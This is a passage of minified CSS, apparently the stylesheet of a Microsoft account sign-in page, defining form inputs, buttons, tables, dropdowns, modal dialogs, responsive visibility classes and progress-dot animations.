input[type="text"],input[type="time"][disabled],input[type="time"][readonly],fieldset[disabled] input[type="time"],input[type="url"][disabled],input[type="url"][readonly],fieldset[disabled] input[type="url"],input[type="week"][disabled],input[type="week"][readonly],fieldset[disabled] input[type="week"],textarea[disabled],textarea[readonly],fieldset[disabled] textarea{border-color:#ccc !important;background-color:rgba(0,0,0,0.2) !important;color:rgba(0,0,0,0.2) !important}.text-input-has-error,.form-group.has-error input[type="color"],input[type="color"].has-error,.form-group.has-error input[type="date"],input[type="date"].has-error,.form-group.has-error input[type="datetime"],input[type="datetime"].has-error,.form-group.has-error input[type="datetime-local"],input[type="datetime-local"].has-error,.form-group.has-error input[type="email"],input[type="email"].has-error,.form-group.has-error input[type="month"],input[type="month"].has-error,.form-group.has-error input[type="number"],input[type="number"].has-error,.form-group.has-error input[type="password"],input[type="password"].has-error,.form-group.has-error input[type="search"],input[type="search"].has-error,.form-group.has-error input[type="tel"],input[type="tel"].has-error,.form-group.has-error input[type="text"],input[type="text"].has-error,.form-group.has-error input[type="time"],input[type="time"].has-error,.form-group.has-error input[type="url"],input[type="url"].has-error,.form-group.has-error input[type="week"],input[type="week"].has-error,.form-group.has-error textarea,textarea.has-error{border-color:#e81123}textarea{height:auto}input::-ms-clear,input::-ms-reveal{height:100%;padding:4px 8px;margin-right:-8px;margin-left:4px}input::-ms-clear:hover,input::-ms-reveal:hover{color:#0067b8}input::-ms-clear:active,input::-ms-reveal:active{color:#fff;background-color:#0067b8}.form-group.has-error input::-ms-clear:hover,.form-group.has-error input::-ms-reveal:hover,input.has-error::-ms-clear:hover,input.has-error::-ms-reveal:hover{color:#e81123}.form-group.has-error input::-ms-clear:active,.form-group.has-error input::-ms-reveal:active,input.has-error::-ms-clear:active,input.has-error::-ms-reveal:active{color:#fff;background-color:#e81123}input[type="radio"]{width:20px;height:20px}input[type="radio"]::-ms-check{background-color:#fff;color:#000;border-style:solid;border-width:2px;border-color:rgba(0,0,0,0.6)}input[type="radio"]:checked::-ms-check{color:#000;border-color:#0067b8}input[type="radio"]:hover::-ms-check{border-color:#000}input[type="radio"]:hover:checked::-ms-check{border-color:#0067b8}input[type="radio"]:active::-ms-check{color:rgba(0,0,0,0.6);border-color:rgba(0,0,0,0.6)}input[type="radio"]:active:checked::-ms-check{border-color:rgba(0,0,0,0.6)}input[type="radio"][disabled]::-ms-check,fieldset[disabled] input[type="radio"]::-ms-check{background-color:#fff !important;color:rgba(0,0,0,0.2) !important;border-color:rgba(0,0,0,0.2) !important}input[type="radio"][disabled]:checked::-ms-check,fieldset[disabled] input[type="radio"]:checked::-ms-check{color:rgba(0,0,0,0.2) !important}input[type="checkbox"]{width:20px;height:20px}input[type="checkbox"]::-ms-check{border-style:solid;border-width:2px;background-color:transparent;color:#000;border-color:rgba(0,0,0,0.8)}input[type="checkbox"]:checked::-ms-check{background-color:#0067b8;border-color:#0067b8}input[type="checkbox"]:hover::-ms-check{border-color:#000}input[type="checkbox"]:active::-ms-check{background-color:rgba(0,0,0,0.6);border-color:transparent}input[type="checkbox"][disabled]::-ms-check,fieldset[disabled] input[type="checkbox"]::-ms-check{border-color:rgba(0,0,0,0.2) !important;background-color:transparent !important;color:rgba(0,0,0,0.2) !important}progress{height:4px;border-style:none;color:#0067b8;background-color:#ccc;-webkit-appearance:none;display:block}progress::-ms-fill{color:#0067b8}progress::-webkit-progress-value{background-color:#0067b8}progress::-webkit-progress-bar{background-color:#ccc}progress::-moz-progress-bar{background-color:#0067b8}input[type="range"]{height:42px;padding-bottom:16px;padding-top:16px;border-style:none}input[type="range"]::-ms-track{height:2px;border-style:none;background-color:transparent;color:transparent}input[type="range"]::-ms-fill-lower{background-color:#0067b8}input[type="range"]::-ms-fill-upper{background-color:rgba(0,0,0,0.4)}input[type="range"]::-ms-thumb{background-color:#0067b8;width:24px;height:8px;border-radius:4px;border-style:none}input[type="range"]:hover::-ms-thumb{background-color:#1f1f1f}input[type="range"]:active::-ms-thumb{background-color:#ccc}input[type="range"]:disabled::-ms-fill-lower,input[type="range"]:disabled::-ms-fill-upper{background-color:rgba(0,0,0,0.2) !important}input[type="range"]:disabled::-ms-thumb{background-color:#ccc !important}legend{margin-bottom:12px}.form-group{margin-bottom:12px}.form-group label{margin-top:0;margin-bottom:8px}.radio,.checkbox{margin-top:12px;margin-bottom:12px}.radio label,.checkbox label{padding-left:28px}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-28px}input[type="radio"][disabled],input[type="radio"].disabled,fieldset[disabled] input[type="radio"],input[type="checkbox"][disabled],input[type="checkbox"].disabled,fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}input[type="radio"][disabled] span,input[type="radio"].disabled span,fieldset[disabled] input[type="radio"] span,input[type="checkbox"][disabled] span,input[type="checkbox"].disabled span,fieldset[disabled] input[type="checkbox"] span{color:rgba(0,0,0,0.2)}select{border:2px solid rgba(0,0,0,0.4);background-clip:padding-box;color:#000}select:focus option{background-color:#fff}select:hover{border-color:rgba(0,0,0,0.6)}select:active{background-color:#fff}select[multiple]:focus{background-color:#fff}select[disabled],select.disabled,fieldset[disabled] select{cursor:not-allowed;background-color:rgba(0,0,0,0.2) !important;border-color:rgba(0,0,0,0.2) !important;color:rgba(0,0,0,0.6) !important}select[disabled] option:hover,select[disabled] option:focus,select[disabled] option:active,select.disabled option:hover,select.disabled option:focus,select.disabled option:active,fieldset[disabled] select option:hover,fieldset[disabled] select option:focus,fieldset[disabled] select option:active{background-color:transparent !important}::-ms-expand{margin:0 6px 0 20px;background-color:transparent;border:0}.btn-block{display:block;width:100%}.btn-block .btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.btn,button,input[type="button"],input[type="submit"],input[type="reset"]{display:inline-block;min-width:100px;padding:4px 12px 4px 12px;margin-top:4px;margin-bottom:4px;position:relative;max-width:100%;text-align:center;white-space:nowrap;overflow:hidden;vertical-align:middle;text-overflow:ellipsis;touch-action:manipulation;color:#000;border-style:solid;border-width:2px;border-color:transparent;background-color:rgba(0,0,0,0.2)}.btn:hover,.btn:focus,button:hover,button:focus,input[type="button"]:hover,input[type="button"]:focus,input[type="submit"]:hover,input[type="submit"]:focus,input[type="reset"]:hover,input[type="reset"]:focus{border-color:rgba(0,0,0,0.4)}.btn:hover,button:hover,input[type="button"]:hover,input[type="submit"]:hover,input[type="reset"]:hover{cursor:pointer}.btn:active,button:active,input[type="button"]:active,input[type="submit"]:active,input[type="reset"]:active{background-color:rgba(0,0,0,0.4);border-color:transparent}.btn.btn-primary,button.btn-primary,input[type="button"].btn-primary,input[type="submit"].btn-primary,input[type="reset"].btn-primary{background-color:#0067b8;border-color:#0067b8;color:#fff}.btn.btn-primary:hover,.btn.btn-primary:focus,button.btn-primary:hover,button.btn-primary:focus,input[type="button"].btn-primary:hover,input[type="button"].btn-primary:focus,input[type="submit"].btn-primary:hover,input[type="submit"].btn-primary:focus,input[type="reset"].btn-primary:hover,input[type="reset"].btn-primary:focus{border-color:#004e8c}.btn.btn-primary:active,button.btn-primary:active,input[type="button"].btn-primary:active,input[type="submit"].btn-primary:active,input[type="reset"].btn-primary:active{background-color:rgba(0,0,0,0.4);border-color:transparent}.btn.disabled,.btn[disabled],fieldset[disabled] .btn,button.disabled,button[disabled],fieldset[disabled] button,input[type="button"].disabled,input[type="button"][disabled],fieldset[disabled] input[type="button"],input[type="submit"].disabled,input[type="submit"][disabled],fieldset[disabled] input[type="submit"],input[type="reset"].disabled,input[type="reset"][disabled],fieldset[disabled] input[type="reset"]{cursor:not-allowed;pointer-events:none;outline:none;color:rgba(0,0,0,0.2) !important;border-color:transparent !important;background-color:rgba(0,0,0,0.2) !important}a.btn:link,a.btn:visited{color:#000}a.btn.btn-primary:link,a.btn.btn-primary:visited{color:#fff}.person{border-radius:50%;display:block;padding:4px;border:1px dotted transparent}.person .person-graphic{display:block;background-size:cover;background-position:center center;background-repeat:no-repeat;border-radius:50%}.person.person-small{width:54px;height:54px}.person.person-small .person-graphic{width:44px;height:44px}.person.person-medium{width:110px;height:110px}.person.person-medium .person-graphic{width:100px;height:100px}.person.person-large{width:210px;height:210px}.person.person-large .person-graphic{width:200px;height:200px}.person:focus{outline-style:none;border-color:#000}table{background-color:transparent}th{text-align:left}.table{width:100%;max-width:100%}.table>thead>tr>th,.table>thead>tr>td,.table>tbody>tr>th,.table>tbody>tr>td,.table>tfoot>tr>th,.table>tfoot>tr>td{padding:16px;vertical-align:top}.table>thead>tr>th{vertical-align:bottom}.table>caption thead>tr:first-child>th,.table>caption thead>tr:first-child>td,.table>colgroup thead>tr:first-child>th,.table>colgroup thead>tr:first-child>td,.table>thead:first-child>tr:first-child>th,.table>thead:first-child>tr:first-child>td{border-top:0}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table-responsive{overflow-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}}.table>thead>tr>th{font-size:12px;line-height:14px;font-weight:400;font-size:.75rem;line-height:.875rem;padding-bottom:1.1816px;padding-top:1.1816px;padding:0 16px 10px 16px}.table>thead>tr>th.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.table>thead>tr>th.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.table>thead>tr>th.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem}.table>thead>tr>th.text-maxlines-4{max-height:58.3632px;max-height:3.6477rem}.table>tbody>tr:nth-child(odd){background-color:#f2f2f2}.section{margin-top:30px;margin-bottom:30px}@media (min-width:320px){.section{margin-top:42px;margin-bottom:42px}}.section .section-header{padding-bottom:10px;border-bottom:1px solid #e6e6e6;margin-bottom:16px}@media (min-width:320px){.section .section-header{margin-bottom:32px}}.section .section-title{display:block;margin-top:0;margin-bottom:0;font-size:15px;line-height:20px;font-weight:600;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px;color:#000}.section .section-title.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.section .section-title.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.section .section-title.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.section .section-title.text-maxlines-4{max-height:80.454px;max-height:5.02838rem}@media (min-width:320px){.section .section-title{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.section .section-title.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:32.7264px;max-height:2.0454rem}.section .section-title.text-maxlines-2{max-height:60.7264px;max-height:3.7954rem}.section .section-title.text-maxlines-3{max-height:88.7264px;max-height:5.5454rem}.section .section-title.text-maxlines-4{max-height:116.7264px;max-height:7.2954rem}}.section .section-subtitle{display:block;font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px;color:#767676}.section .section-subtitle.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.section .section-subtitle.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.section .section-subtitle.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.section .section-subtitle.text-maxlines-4{max-height:80.454px;max-height:5.02838rem}.section .header-action{display:table-cell;vertical-align:bottom;white-space:nowrap;font-size:12px;line-height:14px;font-weight:400;font-size:.75rem;line-height:.875rem;padding-bottom:1.1816px;padding-top:1.1816px}.section .header-action.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.section .header-action.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.section .header-action.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem}.section .header-action.text-maxlines-4{max-height:58.3632px;max-height:3.6477rem}.section p{margin-top:12px;margin-bottom:12px}.section p .more-container{display:block;margin-top:6px}.section .btn-group{margin-top:20px;margin-bottom:20px}.section.remove-header-rule>.section-header{border-style:none}.section.has-header-action .header-titles{display:table-cell}.section.has-header-action .titles-outer{display:table;table-layout:fixed;width:100%}.section.has-header-action .titles-inner{display:table-cell;padding-right:10px}.section.item-section{margin-bottom:32px}.section.item-section .section-header{margin-bottom:16px;border-style:none;padding-bottom:0}.section.item-section .section-title{color:#000;font-size:15px;line-height:20px;font-weight:600;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.section.item-section .section-title.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.section.item-section .section-title.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.section.item-section .section-title.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.section.item-section .section-title.text-maxlines-4{max-height:80.454px;max-height:5.02838rem}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:14px;text-align:left;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#777}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{left:0;right:auto}}[data-toggle="buttons"]>.btn input[type="radio"],[data-toggle="buttons"]>.btn input[type="checkbox"],[data-toggle="buttons"]>.btn-group>.btn input[type="radio"],[data-toggle="buttons"]>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.btn-group:before,.btn-group:after{content:" ";display:table}.btn-group:after{clear:both}.btn-group .btn{float:left;margin-right:4px}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*="col-"]{float:none;padding-left:0;padding-right:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.input-group-addon.btn{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.input-group-addon.btn{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn .btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.alert{margin-bottom:8px;margin-top:8px}.alert-error{color:#e81123}.modal-open{overflow:hidden}.modal{display:none;overflow:hidden;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;-webkit-overflow-scrolling:touch;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto}.modal-content{position:relative;background-color:#fff;background-clip:padding-box;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.42857px}.modal-title{margin:0;line-height:1.42857}.modal-body{position:relative}.modal-footer:before,.modal-footer:after{content:" ";display:table}.modal-footer:after{clear:both}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:540px){.modal-dialog{width:600px}.modal-sm{width:300px}}@media (min-width:768px){.modal-lg{width:900px}}.modal .modal-dialog{margin:50vh auto;-webkit-transform:translate(0, -50%);-ms-transform:translate(0, -50%);-o-transform:translate(0, -50%);transform:translate(0, -50%);border:2px solid #0067b8}.modal .modal-content{padding:16px}.modal p:first-child{margin-top:0}.modal .btn{width:calc(48%)}.modal .btn:last-child{margin-right:0}.modal .btn:only-child{float:right}.modal .modal-footer{margin-top:24px}.tooltip{position:absolute;z-index:1070;display:block;visibility:visible}.tooltip-inner{text-decoration:none}.tooltip .tooltip-inner{background:#f2f2f2;color:#000;border:1px solid #ccc;padding:5px 8px 7px 8px;max-width:320px}.clearfix:before,.clearfix:after{content:" ";display:table}.clearfix:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important;visibility:hidden !important}.affix{position:fixed}.pull-right{float:right !important}.pull-left{float:left !important}@-ms-viewport{width:device-width}@media (max-width:539px){.visible-xs{display:block !important}table.visible-xs{display:table}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:539px){.visible-xs-block{display:block !important}}@media (max-width:539px){.visible-xs-inline{display:inline !important}}@media (max-width:539px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:540px) and (max-width:767px){.visible-sm{display:block !important}table.visible-sm{display:table}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:540px) and (max-width:767px){.visible-sm-block{display:block !important}}@media (min-width:540px) and (max-width:767px){.visible-sm-inline{display:inline !important}}@media (min-width:540px) and (max-width:767px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-md{display:block !important}table.visible-md{display:table}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-md-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-md-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:992px){.visible-lg{display:block !important}table.visible-lg{display:table}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:992px){.visible-lg-block{display:block !important}}@media (min-width:992px){.visible-lg-inline{display:inline !important}}@media (min-width:992px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:539px){.hidden-xs{display:none !important}}@media (min-width:540px) and (max-width:767px){.hidden-sm{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-md{display:none !important}}@media (min-width:992px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}.visible-xs,.visible-sm,.visible-md,.visible-lg,.visible-xl{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-xl-block,.visible-xl-inline,.visible-xl-inline-block{display:none !important}@media (min-width:1400px){.visible-xl{display:block !important}table.visible-xl{display:table}tr.visible-xl{display:table-row !important}th.visible-xl,td.visible-xl{display:table-cell !important}}@media (min-width:1400px){.visible-xl-block{display:block !important}}@media (min-width:1400px){.visible-xl-inline{display:inline !important}}@media (min-width:1400px){.visible-xl-inline-block{display:inline-block !important}}@media (min-width:1400px){.hidden-xl{display:none !important}}@font-face{font-family:"Segoe UI Webfont";font-weight:300;src:local("Segoe UI Semilight")}@font-face{font-family:"Segoe UI Webfont";font-weight:700;src:local("Segoe UI Bold")}@font-face{font-family:"Segoe UI Webfont";font-style:italic;font-weight:400;src:local("Segoe UI Italic")}@font-face{font-family:"Segoe UI Webfont";font-style:italic;font-weight:700;src:local("Segoe UI Bold Italic")}a:focus{outline-offset:0}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline-offset:0}.container,.container-fluid{width:100%}.IE_M8 select{background-color:#fff !important}body.IE_M7.rtl{font-family:"Segoe UI","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.IE_M7 ul{margin-left:0}.IE_M7 input[type="button"],.IE_M7 input[type="submit"],.IE_M7 button,.IE_M7 input[type="button"].btn,.IE_M7 input[type="submit"].btn,.IE_M7 button.btn{line-height:142%;overflow:visible}.IE_M7 div.input-group{float:left;z-index:5000}.IE_M7 div.input-group button,.IE_M7 div.input-group button.btn{overflow:hidden}.IE_M7 div.input-group label.input-group-addon{width:auto;float:left}.IE_M7 div.input-group div.input-group-btn{float:left}.text-caption{margin:.5rem 0 .5rem 0;margin:8px 0 8px 0}select{padding-top:3px;padding-bottom:3px;padding-left:6px}.section{margin-top:0}body{direction:ltr}body #maincontent,body #c_content{margin:0 auto}body #maincontent{width:90%;min-height:400px}.ltr_override,.dirltr{direction:ltr;text-align:left}label.label-margin{margin-top:0;margin-bottom:8px}label.disabled{border:0;background-color:rgba(0,0,0,0.2) !important}label.focus-border-color.input-group-addon.has-error,label.input-group-addon.has-error{border-color:#e81123}.bold{font-weight:600}.modal-header h4.UserTitle,.wrap-content{word-wrap:break-word}label.placeholder{display:none !important}.text-secondary{color:rgba(0,0,0,0.7);font-size:13px}.agreement-layout{white-space:pre-wrap;word-wrap:break-word;overflow-x:hidden}body.cb{text-align:center}body.cb #ftrLogo{margin:0}body.cb #maincontent{max-width:384px;padding-left:12px;padding-right:12px}body.cb .text-13{font-size:.8125rem}body.cb .radio,body.cb .alert-error{text-align:left}body.cb div.placeholderContainer{width:100%;position:relative}body.cb div.placeholderInnerContainer{left:0;top:0;width:100%;position:absolute;z-index:5}body.cb div.placeholder{color:#666;background-color:transparent;margin-top:6px;margin-left:9px;white-space:nowrap;text-align:left;cursor:text}body.cb div.placeholder.ltr_override{margin-left:11px;margin-right:auto;text-align:left}body.cb .modalDialogOverlay{position:fixed;top:0;left:0;width:100%;height:100%;background-color:#000;opacity:.5;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";filter:alpha(opacity=50);z-index:50000}body.cb .modalDialogContainer{position:fixed;top:60px;max-width:356px;width:83%;width:calc(90% - 28px);max-height:80%;max-height:calc(100% - 80px);margin-left:-2px;margin-right:-2px;border:1px solid #0067b8;background-color:#fff;z-index:50001;overflow:auto;overflow-x:hidden}body.cb .modalDialogPadding{padding:11px 12px 12px 12px}body.cb .msa-helpCell{margin-bottom:24px;position:relative}body.cb .msa-helpSVG{float:left;position:absolute}body.cb .msa-helpCellDiv{overflow:hidden;margin-left:44px}body.cb #learnMoreLink,body.cb #signup,body.cb #idA_MSAccLearnMore{white-space:nowrap}body.cb .modalDialogContent{width:100%;position:relative;margin:0 auto}body.cb .img-centipede{width:100%;max-width:266px;height:auto}body.cb .align-center{margin-left:auto;margin-right:auto;display:inline-block}body.cb #icdHIP table{width:100% !important}body.cb input.hip{width:100% !important;padding:4px 8px !important;margin-top:12px !important}body.cb tr#wlspispHIPErrorContainer>td{width:100% !important}body.cb .hip-erroricon{display:none !important}.no-margin-top{margin-top:0}.no-margin-bottom{margin-bottom:0}.no-padding-left-right{padding-left:0;padding-right:0}.display-block{display:block}.display-inline-block{display:inline-block;white-space:nowrap}@media (max-width:319px){body.cb #ftr{margin-top:60px}}@media (min-height:800px){body.cb #ftr{margin-top:60px}}@media (max-height:400px){body.cb .modalDialogContainer{top:0;max-height:100%}}.progress{overflow:hidden}.progress>div{position:absolute;height:5px;width:5px;background-color:#0067b8;z-index:100;border-radius:50%;opacity:0}.progress>img{position:absolute}.progress-container{width:100%;position:relative;margin-top:48px;margin-bottom:24px;outline-color:transparent}.progress-container-tile{width:100%;position:relative;top:1px}.progress-container-tile-content{width:100%;position:relative;top:15px}.progress{position:absolute;top:0;left:0;height:5px;width:100%}@keyframes pulse{from{opacity:.4}}@-o-keyframes pulse{from{opacity:.4}}@-moz-keyframes pulse{from{opacity:.4}}@-webkit-keyframes pulse{from{opacity:.4}}.animate-pulse{-webkit-animation:pulse 1s infinite alternate;-moz-animation:pulse 1s infinite alternate;-o-animation:pulse 1s infinite alternate;animation:pulse 1s infinite alternate}.row.tile:focus .progress>div,.row.tile:focus:hover .progress>div,.row.tile:active .progress>div{background-color:#fff}.progress>div{-webkit-animation:progressDot 2s infinite;-moz-animation:progressDot 2s infinite;-o-animation:progressDot 2s infinite;animation:progressDot 2s infinite}.progress>div:nth-child(1){-webkit-animation-delay:.05s;-moz-animation-delay:.05s;-o-animation-delay:.05s;animation-delay:.05s}.progress>div:nth-child(2){-webkit-animation-delay:.2s;-moz-animation-delay:.2s;-o-animation-delay:.2s;animation-delay:.2s}.progress>div:nth-child(3){-webkit-animation-delay:.35s;-moz-animation-delay:.35s;-o-animation-delay:.35s;animation-delay:.35s}.progress>div:nth-child(4){-webkit-animation-delay:.5s;-moz-animation-delay:.5s;-o-animation-delay:.5s;animation-delay:.5s}.progress>div:nth-child(5){-webkit-animation-delay:.65s;-moz-animation-delay:.65s;-o-animation-delay:.65s;animation-delay:.65s}@-webkit-keyframes progressDot{0%,20%{left:0;-webkit-animation-timing-function:ease-out;opacity:0}25%{opacity:1}35%{left:45%;-webkit-animation-timing-function:linear}65%{left:60%;-webkit-animation-timing-function:ease-in}75%{opacity:1}80%,100%{left:100%;opacity:0}}@-moz-keyframes progressDot{0%,20%{left:0;-moz-animation-timing-function:ease-out;opacity:0}25%{opacity:1}35%{left:45%;-moz-animation-timing-function:linear}65%{left:60%;-moz-animation-timing-function:ease-in}75%{opacity:1}80%,100%{left:100%;opacity:0}}@-o-keyframes progressDot{0%,20%{left:0;-o-animation-timing-function:ease-out;opacity:0}25%{opacity:1}35%{left:45%;-o-animation-timing-function:linear}65%{left:60%;-o-animation-timing-function:ease-in}75%{opacity:1}80%,100%{left:100%;opacity:0}}@keyframes 